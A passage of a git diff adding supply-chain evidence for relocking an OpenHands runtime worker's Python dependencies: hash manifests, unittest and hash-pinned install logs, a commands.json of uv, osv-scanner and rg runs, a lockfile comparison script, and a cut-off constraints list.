"blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-pip-check.stderr.txt", + "sha256": "94b6dcbed09c7f53f08e003dbf72ddb250182edce8a877cb33af39ee798d18f2", + "bytes": 127, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-recipe-lock-compile.stderr.txt", + "sha256": "0478aad1ad8c8b08dc564a113be93d75d36f9385d680069c8d1ddaabcfe8f47d", + "bytes": 31, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-upstream-test-tools.stderr.txt", + "sha256": "32207d0e41826374f93e7912571a45efda0fb1a28f98e3fa3aa36a53da874b9d", + "bytes": 206, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers-after-test-tools.stdout.txt", + "sha256": "405e7b566f850c1e74df81980bab0f2ee513ab31bc2121e87a32e793af75494c", + "bytes": 37078, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers.stdout.txt", + "sha256": "5b6328e2bd292afc13d4a4eaab9e85abf989eae7879e4630478a442a8e390813", + "bytes": 37078, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-pytest-qualification-tools.stderr.txt", + "sha256": "c30218aa1df2e8325dfac41e3314a642598d698a997cc01b9ab6ac66f694e66b", + "bytes": 172, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-runtime-hash-install.stderr.txt", + "sha256": "6dd5d8d9dac64dd1c3b67c010184f47057ec47086b69b4fcc191ddd31365c55a", + "bytes": 4518, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-scanner-version.stdout.txt", + "sha256": "e0bc7fa9d9b902f5179238abc870bc238c6f119e8c4c0b58b63fd26289fc5ea7", + "bytes": 134, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-sdk-fixtures.stderr.txt", + "sha256": "c9389e58b5cc13be9155ca3943fc8cb4d1b989b1e85256678d8948e92c4149a5", + "bytes": 2962, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-source-validation-before-index.stdout.txt", + "sha256": "485944c34511b8adc3b287efb2b90bf491442c05ef21b69649d072a6e3ba96c5", + "bytes": 489, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-unchanged-upstream-url-tests.stdout.txt", + "sha256": "0704464298af960099ab7677cec20c3f8be9b9c40fe9942e05062c9ec356cb79", + "bytes": 7535, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-capture.py.txt", + "sha256": "dcc64700c1d880ef495a3f414ed2ca8e806048a0e6dcd2a0dfdae65ba1504da8", + "bytes": 1435 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-verify.py.txt", + "sha256": "fb230089924a6e6dbafa15a6a4e2bb23f2ea8e5e49aa2d246fb482b6b95315b3", + "bytes": 6347 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-run-upstream-url-tests.py.txt", + "sha256": "4dc5f72e660f22d6a89d7173d8be1dea2e95a4684f0f87517a02e844d8863b0a", + "bytes": 1202 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-download-source.py.txt", + "sha256": "c1dab7fc6e1e566391eb7a3ed1b29fbdca1c851ea53369bcc3d150ee068034b6", + "bytes": 603 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-commands.json", + "sha256": "eb262f0eea6eadadb761dc839ffe5829d4609385fc198122c8f8c30623e6d801", + "bytes": 56062 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-captured-inputs.json", + "sha256": "f04c3b1703d1912e77f5283563b177763ca75d6a774c2ccdec78c5adf6568f1b", + "bytes": 39834 + } + ], + "sources": [ + "https://github.com/advisories/GHSA-3cv6-jpf6-8222", + "https://github.com/BerriAI/litellm/releases/tag/v1.93.2", + "https://github.com/BerriAI/litellm/pull/36318", + "https://github.com/BerriAI/litellm/tree/cd1bd0f4b8af865f8d05fbd938392fdd4703babc", + "https://pypi.org/pypi/litellm/1.93.2/json", + "https://github.com/OpenHands/software-agent-sdk/blob/395b94b0c3c4994f6c530f1e3bf3196f71fab950/pyproject.toml#L8", + "https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/pyproject.toml", + "https://docs.astral.sh/uv/pip/compile/#adding-constraints", + "https://docs.astral.sh/uv/reference/cli/#uv-pip-compile", + "https://github.com/google/osv-scanner/releases/tag/v2.6.0" + ] +} diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-actual-sdk-fixtures.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-actual-sdk-fixtures.txt new file mode 100644 index 000000000..fec175ba1 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-actual-sdk-fixtures.txt @@ -0,0 +1,32 @@ +$ ["rtk", "/venv/bin/python", "-m", "unittest", "tests.test_openhands_150", "-v"] + +[stderr] +test_native_task_hook_refuses_ambient_and_recursive_agents (tests.test_openhands_150.OpenHands150Profiles.test_native_task_hook_refuses_ambient_and_recursive_agents) ... ok +test_profiles_are_bounded_and_services_are_task_scoped (tests.test_openhands_150.OpenHands150Profiles.test_profiles_are_bounded_and_services_are_task_scoped) ... ok +test_sampling_is_rejected_before_any_request (tests.test_openhands_150.OpenHands150Profiles.test_sampling_is_rejected_before_any_request) ... ok +test_skill_objects_are_role_selected_and_github_descriptions_are_scoped (tests.test_openhands_150.OpenHands150Profiles.test_skill_objects_are_role_selected_and_github_descriptions_are_scoped) ... ok +test_goal_status_is_lifecycle_output_and_preserves_active_judge_round (tests.test_openhands_150.OpenHands150Recovery.test_goal_status_is_lifecycle_output_and_preserves_active_judge_round) ... ok +test_independent_observer_rejects_fixture_and_model_store_sources (tests.test_openhands_150.OpenHands150Recovery.test_independent_observer_rejects_fixture_and_model_store_sources) ... ok +test_interrupt_resume_preserves_native_conversation_deadline_and_reservation (tests.test_openhands_150.OpenHands150Recovery.test_interrupt_resume_preserves_native_conversation_deadline_and_reservation) ... ok +test_actual_native_profiles_and_children_keep_explicit_route_tools_skills (tests.test_openhands_150.OpenHands150Transport.test_actual_native_profiles_and_children_keep_explicit_route_tools_skills) ... +----------------------------------------------------------------------+ +| OpenHands SDK v1.50.0 | +| | +| Report a bug: github.com/OpenHands/software-agent-sdk/issues | +| Get help: openhands.dev/joinslack | +| Scale up: openhands.dev/product/sdk | +| | +| Set OPENHANDS_SUPPRESS_BANNER=1 to hide this message | ++----------------------------------------------------------------------+ + +ok +test_actual_native_sdk_completion_uses_responses_dispatch (tests.test_openhands_150.OpenHands150Transport.test_actual_native_sdk_completion_uses_responses_dispatch) ... ok +test_completion_bridge_preserves_native_contract_and_restores_methods (tests.test_openhands_150.OpenHands150Transport.test_completion_bridge_preserves_native_contract_and_restores_methods) ... ok +test_goal_adapter_keeps_native_loop_and_separate_judge_metrics (tests.test_openhands_150.OpenHands150Transport.test_goal_adapter_keeps_native_loop_and_separate_judge_metrics) ... ok +test_p3_native_tool_replay_and_query_denial_are_fixture_only (tests.test_openhands_150.OpenHands150Transport.test_p3_native_tool_replay_and_query_denial_are_fixture_only) ... ok + +---------------------------------------------------------------------- +Ran 12 tests in 5.376s + +OK + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-build-hash-install.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-build-hash-install.txt new file mode 100644 index 000000000..90481980e --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-build-hash-install.txt @@ -0,0 +1,11 @@ +$ ["rtk", "uv", "pip", "install", "--python", "/venv/bin/python", "--require-hashes", "--no-deps", "--only-binary", ":all:", "--index-url", "https://pypi.org/simple", "-r", "/blueprints/runtime-workers/openhands/build-requirements.lock"] + +[stderr] +Using Python 3.13.15 environment at: /venv +Resolved 3 packages in 63ms +Installed 3 packages in 35ms + + packaging==26.3 + + setuptools==84.0.0 + + wheel==0.46.3 + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-commands.json b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-commands.json new file mode 100644 index 000000000..c9ff779f1 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-commands.json @@ -0,0 +1,394 @@ +{ + "schema_version": 1, + "evidence_class": "local_integration", + "commands": [ + { + "id": "reviewed-main-blob", + "argv": [ + "rtk", + "proxy", + "git", + "show", + "f03f41c7:blueprints/runtime-workers/openhands/requirements.lock" + ], + "cwd": "", + "started_utc": "2026-09-30T08:54:47Z", + "exit_code": 0, + "stdout_sha256": "14e57b8d947e62ed60e7bbc69c2e6cc55638a86fa8969d528cbdf591cd42ae64", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-reviewed-main-blob.txt" + }, + { + "id": "fresh-venv", + "argv": [ + "rtk", + "uv", + "venv", + "--python", + "/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/bin/python3.13", + "--no-python-downloads", + "/venv" + ], + "cwd": "", + "started_utc": "2026-09-30T08:54:49Z", + "exit_code": 0, + "stdout_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256": "4659e1b647e924cd06b318189ebe6cffc523bdf2be934849a17cafcaade58cc1", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-fresh-venv.txt" + }, + { + "id": "build-hash-install", + "argv": [ + "rtk", + "uv", + "pip", + "install", + "--python", + "/venv/bin/python", + "--require-hashes", + "--no-deps", + "--only-binary", + ":all:", + "--index-url", + "https://pypi.org/simple", + "-r", + "/blueprints/runtime-workers/openhands/build-requirements.lock" + ], + "cwd": "", + "started_utc": "2026-09-30T08:54:49Z", + "exit_code": 0, + "stdout_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256": "e0d530566532d34d886856423f50efa569f6bd8a08473617a75f5f381cbc466c", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-build-hash-install.txt" + }, + { + "id": "native-compile", + "argv": [ + "rtk", + "uv", + "pip", + "compile", + "/requirements.in", + "--constraints", + "/reviewed-main-constraints.txt", + "--generate-hashes", + "--no-header", + "--no-annotate", + "--index-url", + "https://pypi.org/simple", + "--python-version", + "3.13.15", + "--python-platform", + "x86_64-unknown-linux-gnu", + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "litellm=2026-07-20T00:00:00Z", + "--exclude-newer-package", + "lmnr=2026-08-23T00:00:00Z", + "--output-file", + "/candidate.lock" + ], + "cwd": "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "started_utc": "2026-09-30T08:54:50Z", + "exit_code": 0, + "stdout_sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106", + "stderr_sha256": "c195b26d43305c01a1b54b7a6b4284ef3239833e7a94885ef967e195c6274a51", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-compile.txt" + }, + { + "id": "fresh-extraction-reproduction", + "argv": [ + "rtk", + "uv", + "pip", + "compile", + "/requirements.in", + "--constraints", + "/reviewed-main-constraints.txt", + "--generate-hashes", + "--no-header", + "--no-annotate", + "--index-url", + "https://pypi.org/simple", + "--python-version", + "3.13.15", + "--python-platform", + "x86_64-unknown-linux-gnu", + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "litellm=2026-07-20T00:00:00Z", + "--exclude-newer-package", + "lmnr=2026-08-23T00:00:00Z", + "--output-file", + "/reproduced.lock" + ], + "cwd": "/source-repro/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "started_utc": "2026-09-30T08:54:50Z", + "exit_code": 0, + "stdout_sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106", + "stderr_sha256": "2e6808a77e9ac779bc7510180a70e834a5554dfcba6969e6c94c2b4bc646bd52", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-fresh-extraction-reproduction.txt" + }, + { + "id": "runtime-hash-install", + "argv": [ + "rtk", + "uv", + "pip", + "install", + "--python", + "/venv/bin/python", + "--require-hashes", + "--no-deps", + "--no-build-isolation", + "--index-url", + "https://pypi.org/simple", + "-r", + "/candidate.lock" + ], + "cwd": "", + "started_utc": "2026-09-30T08:55:44Z", + "exit_code": 0, + "stdout_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256": "2bc4f1e0c5d20e189c3655511e39df3dd517156805506198e1d02e6d8aca7c2a", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-runtime-hash-install.txt" + }, + { + "id": "native-pip-check", + "argv": [ + "rtk", + "uv", + "pip", + "check", + "--python", + "/venv/bin/python" + ], + "cwd": "", + "started_utc": "2026-09-30T08:55:45Z", + "exit_code": 0, + "stdout_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256": "13b49d7aeb121e68c5121605e3db391c220eaeadeca00f6bca8b2b00927cbdc0", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-pip-check.txt" + }, + { + "id": "native-imports", + "argv": [ + "rtk", + "/venv/bin/python", + "-c", + "import sys,platform,importlib.metadata as m; from openhands.sdk import LLM,Agent,Conversation; from openhands.tools.task import TaskToolSet; from openhands.tools.browser_use import BrowserToolSet; assert sys.implementation.name==\"cpython\" and platform.python_version()==\"3.13.15\" and platform.system()==\"Linux\" and platform.machine()==\"x86_64\"; assert m.version(\"openhands-sdk\")==m.version(\"openhands-tools\")==\"1.50.0\"; print(\"CPython 3.13.15 Linux x86_64; SDK/tools 1.50.0 imports passed; no model request\"); print({p:m.version(p) for p in (\"click\",\"pypdf\",\"soupsieve\",\"PyJWT\",\"oauthlib\")})" + ], + "cwd": "", + "started_utc": "2026-09-30T08:55:45Z", + "exit_code": 0, + "stdout_sha256": "186ad600ecf01a4a6f73b1f114dc43e408d782349b8e073501f4cbc7ef024610", + "stderr_sha256": "f6f4156bf3e5e2da69a8f8f4c5d672a2433ce1376f8d467f018987a066078ed8", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-imports.txt" + }, + { + "id": "actual-sdk-fixtures", + "argv": [ + "rtk", + "/venv/bin/python", + "-m", + "unittest", + "tests.test_openhands_150", + "-v" + ], + "cwd": "", + "started_utc": "2026-09-30T08:55:51Z", + "exit_code": 0, + "stdout_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256": "46359073df0f671463f69fde72f85d940f5213a92614e924397213042ceb27ed", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-actual-sdk-fixtures.txt" + }, + { + "id": "maintained-jwt-callers", + "argv": [ + "rtk", + "/venv/bin/python", + "/blueprints/runtime-workers/openhands/evidence/relock-2026-09-30.jwt-callers.py.txt", + "/venv/lib/python3.13/site-packages", + "/blueprints/runtime-workers/openhands" + ], + "cwd": "", + "started_utc": "2026-09-30T08:55:58Z", + "exit_code": 0, + "stdout_sha256": "0936bf2a74787b6860ee8cf0627e6621031d6e2bc8a2a2288885aab919d10982", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-maintained-jwt-callers.txt" + }, + { + "id": "oauthlib-alias-callers", + "argv": [ + "rtk", + "/venv/bin/python", + "/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", + "/venv/lib/python3.13/site-packages", + "/blueprints/runtime-workers/openhands" + ], + "cwd": "", + "started_utc": "2026-09-30T08:56:04Z", + "exit_code": 0, + "stdout_sha256": "5b6328e2bd292afc13d4a4eaab9e85abf989eae7879e4630478a442a8e390813", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-oauthlib-alias-callers.txt" + }, + { + "id": "published-artifact-source-identity", + "argv": [ + "rtk", + "/venv/bin/python", + "-c", + "import hashlib,json,sys,tarfile,zipfile\nfrom pathlib import Path\np,site=map(Path,sys.argv[1:3]); results=[]\nartifacts=json.loads((p/'fresh-caller-artifacts.json').read_text())\nartifacts += [{'filename':'openhands_sdk-1.50.0-py3-none-any.whl','name':'openhands-sdk'}, {'filename':'openhands_tools-1.50.0-py3-none-any.whl','name':'openhands-tools'}]\nfor artifact in artifacts:\n f=p/artifact['filename']; sources=[]\n if f.suffix=='.whl':\n with zipfile.ZipFile(f) as z:\n sources=[(n,z.read(n)) for n in z.namelist() if n.endswith('.py')]\n else:\n with tarfile.open(f,'r:gz') as t:\n for member in t.getmembers():\n rel='/'.join(member.name.split('/')[1:])\n if rel.startswith('func_timeout/') and rel.endswith('.py'):\n sources.append((rel,t.extractfile(member).read()))\n mismatches=[]\n for rel,data in sources:\n target=site/rel\n if not target.is_file() or target.read_bytes()!=data: mismatches.append(rel)\n results.append({'name':artifact['name'],'artifact':f.name,'artifact_sha256':hashlib.sha256(f.read_bytes()).hexdigest(),'python_sources_compared':len(sources),'mismatches':mismatches})\nprint(json.dumps(results,indent=2))\nassert all(r['python_sources_compared']>0 and not r['mismatches'] for r in results)\n", + "", + "/venv/lib/python3.13/site-packages" + ], + "cwd": "", + "started_utc": "2026-09-30T08:57:20Z", + "exit_code": 0, + "stdout_sha256": "7831e94cb56127e8f8fac95c27280fb51baf4a79d3f143af61efe386c4843179", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-published-artifact-source-identity.txt" + }, + { + "id": "osv-version", + "argv": [ + "rtk", + "/osv-scanner", + "--version" + ], + "cwd": "", + "started_utc": "2026-09-30T08:57:21Z", + "exit_code": 0, + "stdout_sha256": "e0bc7fa9d9b902f5179238abc870bc238c6f119e8c4c0b58b63fd26289fc5ea7", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-version.txt" + }, + { + "id": "osv-ci-config", + "argv": [ + "rtk", + "/osv-scanner", + "scan", + "source", + "--config", + "/ci-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/candidate.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T08:57:21Z", + "exit_code": 0, + "stdout_sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "stderr_sha256": "c44f62baca529162c2aa886ab1980295a926dd3e34b158c724cc6dc5cd0ee009", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-ci-config.txt" + }, + { + "id": "osv-empty-config", + "argv": [ + "rtk", + "/osv-scanner", + "scan", + "source", + "--config", + "/empty-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/candidate.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T08:57:21Z", + "exit_code": 1, + "stdout_sha256": "b7512a776451875bc56b3aa3221164b40de6aa16cd6b4f803ef10796c9092b50", + "stderr_sha256": "784bce3184327d8c97219e8b768d6fec1dcd3931ba7ef313d8699b1ab6374f80", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-empty-config.txt" + }, + { + "id": "selected-dependency-comparison", + "argv": [ + "rtk", + "/venv/bin/python", + "/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-compare.py.txt", + "" + ], + "cwd": "", + "started_utc": "2026-09-30T09:03:24Z", + "exit_code": 0, + "stdout_sha256": "b01a987646e5ba167193335d69c98455739825148d15b75fee1982669185831e", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-selected-dependency-comparison.txt" + }, + { + "id": "native-uv-version", + "argv": [ + "rtk", + "uv", + "--version" + ], + "cwd": "", + "started_utc": "2026-09-30T09:04:39Z", + "exit_code": 0, + "stdout_sha256": "dd643ebda7165a77a7fe3c9f445ec1a2cfebe1bfe0329015937763dce919c33d", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-uv-version.txt" + }, + { + "id": "native-compile-help", + "argv": [ + "rtk", + "uv", + "pip", + "compile", + "--help" + ], + "cwd": "", + "started_utc": "2026-09-30T09:04:39Z", + "exit_code": 0, + "stdout_sha256": "5f8ed04158b910ea54acd0315a0925c94bb8c6749483ef156311fbaf408853aa", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-compile-help.txt" + }, + { + "id": "installer-lock-consumers", + "argv": [ + "rtk", + "rg", + "-n", + "requirements.lock|UV_PYTHON_DOWNLOADS|UV_NO_CONFIG|/usr/local/bin/python|uv sync|--platform|install-container.sh|host.py install", + "/blueprints/runtime-workers/openhands/host.py", + "/blueprints/runtime-workers/openhands/install.sh", + "/blueprints/runtime-workers/openhands/install-container.sh", + "/blueprints/runtime-workers/openhands/install-grader.sh" + ], + "cwd": "", + "started_utc": "2026-09-30T09:04:39Z", + "exit_code": 0, + "stdout_sha256": "6f6404c22e783959b5f1c2c0573a6646c713e5cb9eacb241b2d409ccefd76528", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-installer-lock-consumers.txt" + }, + { + "id": "tagged-install-policy", + "argv": [ + "rtk", + "rg", + "-n", + "FROM python:3.13.15|COPY --from=python-runtime|BASE_IMAGE|FROM.*base-image|exclude-newer|litellm =|lmnr =", + "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile", + "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml" + ], + "cwd": "", + "started_utc": "2026-09-30T09:04:39Z", + "exit_code": 0, + "stdout_sha256": "82c06811841d6c4abde6a65cd93a4b7ac1428d801abad4dc8a8d21e61d8e3705", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-tagged-install-policy.txt" + } + ] +} diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-compare.py.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-compare.py.txt new file mode 100644 index 000000000..8ba054281 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-compare.py.txt @@ -0,0 +1,142 @@ +"""Local evidence check using Packaging's public requirement/marker APIs. + +Sources: https://packaging.pypa.io/en/stable/requirements.html and +https://packaging.pypa.io/en/stable/markers.html. This compares selected pins; +uv remains the resolver. It is not an upstream acceptance test. +""" + +import hashlib +import importlib.metadata +import json +from pathlib import Path +import platform +import sys +import tarfile +from urllib.parse import urlparse + +from packaging.markers import default_environment +from packaging.requirements import Requirement +from packaging.utils import canonicalize_name, parse_wheel_filename + + +private = Path(sys.argv[1]) +environment = default_environment() +assert sys.implementation.name == "cpython" +assert platform.python_version() == "3.13.15" +assert platform.system() == "Linux" and platform.machine() == "x86_64" +target = { + key: environment[key] + for key in ( + "implementation_name", "implementation_version", "os_name", + "platform_machine", "platform_python_implementation", "platform_system", + "python_full_version", "python_version", "sys_platform", + ) +} + + +def sha(path): + return hashlib.sha256(path.read_bytes()).hexdigest() + + +def selected(path): + result = {} + excluded = [] + total = 0 + for line in path.read_text().splitlines(): + if not line or not line[0].isalnum(): + continue + requirement = Requirement(line.rstrip().removesuffix(" \\")) + total += 1 + name = canonicalize_name(requirement.name) + if requirement.marker and not requirement.marker.evaluate(environment): + excluded.append({"name": name, "marker": str(requirement.marker)}) + continue + if requirement.url: + wheel_name, version, _, _ = parse_wheel_filename( + Path(urlparse(requirement.url).path).name + ) + assert wheel_name == name + version = str(version) + else: + specifiers = list(requirement.specifier) + assert len(specifiers) == 1 and specifiers[0].operator == "==" + version = specifiers[0].version + assert name not in result, (path.name, name) + result[name] = version + return result, {"requirements": total, "selected": len(result), "excluded": excluded} + + +paths = [private / name for name in ( + "reviewed-main.lock", "candidate-before.lock", "candidate.lock" +)] +parsed = [selected(path) for path in paths] +main, candidate, proposed = [item[0] for item in parsed] +assert main.keys() == proposed.keys(), (main.keys() - proposed.keys(), proposed.keys() - main.keys()) +changes = { + name: (main[name], proposed[name]) + for name in sorted(main) if main[name] != proposed[name] +} +assert changes == { + "openhands-sdk": ("1.49.6", "1.50.0"), + "openhands-tools": ("1.49.6", "1.50.0"), +}, changes +for name in ("click", "pypdf", "soupsieve"): + assert main[name] == proposed[name] and candidate[name] != proposed[name] +installed_mismatches = [] +for name, version in proposed.items(): + actual = importlib.metadata.version(name) + if actual != version: + installed_mismatches.append({"name": name, "selected": version, "installed": actual}) +assert not installed_mismatches, installed_mismatches +assert (private / "candidate.lock").read_bytes() == (private / "reproduced.lock").read_bytes() + +extraction_checks = [] +with tarfile.open(private / "source.tar.gz", "r:gz") as archive: + for directory in ("source", "source-repro"): + mismatches = [] + count = 0 + for member in archive.getmembers(): + if not member.isfile(): + continue + count += 1 + extracted = private / directory / member.name + original = archive.extractfile(member).read() + if not extracted.is_file() or extracted.read_bytes() != original: + mismatches.append(member.name) + assert not mismatches, (directory, mismatches) + extraction_checks.append({ + "extraction": directory, "original_regular_files_compared": count, + "mismatches": mismatches, + }) + +result = { + "schema_version": 1, + "evidence_class": "local_integration", + "scope": "Selected Linux x86_64 dependencies on CPython 3.13.15; source-byte comparison.", + "target": target, + "parser": {"name": "packaging", "version": importlib.metadata.version("packaging")}, + "files": [ + {"role": role, "path": "blueprints/runtime-workers/openhands/requirements.lock", + "revision": revision, "sha256": sha(path)} + for role, revision, path in zip( + ("reviewed_main", "candidate_input", "reconciled"), + ("f03f41c7", "bb3d00dc1ed493726481d0d3d746f6b0b46ed8bd", "working_tree"), paths + ) + ], + "selection": [dict(role=role, **item[1]) for role, item in zip( + ("reviewed_main", "candidate_input", "reconciled"), parsed + )], + "dependencies": [ + {"name": name, "reviewed_main": main[name], "candidate_input": candidate.get(name), + "reconciled": proposed[name], + "main_change": "sdk_upgrade" if name in changes else "unchanged"} + for name in sorted(main) + ], + "main_selected_additions": [], "main_selected_removals": [], + "main_selected_downgrades": [], "installed_version_mismatches": installed_mismatches, + "source_required_downgrades": [], + "fresh_extraction_checks": extraction_checks, + "native_compile_reproduction_byte_identical": True, + "reproduced_lock_sha256": sha(private / "reproduced.lock"), +} +print(json.dumps(result, indent=2)) diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-constraints.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-constraints.txt new file mode 100644 index 000000000..f09371777 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-constraints.txt @@ -0,0 +1,334 @@ +agent-client-protocol==0.12.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiofile==3.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiofiles==25.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiohappyeyeballs==2.6.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiohttp==3.14.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiosignal==1.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +annotated-types==0.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +anthropic==0.75.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +anyio==4.14.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +attrs==25.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +authlib==1.6.12 ; platform_machine == 'x86_64' and sys_platform == 'linux' +backoff==2.2.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +beartype==0.22.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' +beautifulsoup4==4.14.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +binaryornot==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +blake3==1.0.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' +browser-use==0.11.9 ; platform_machine == 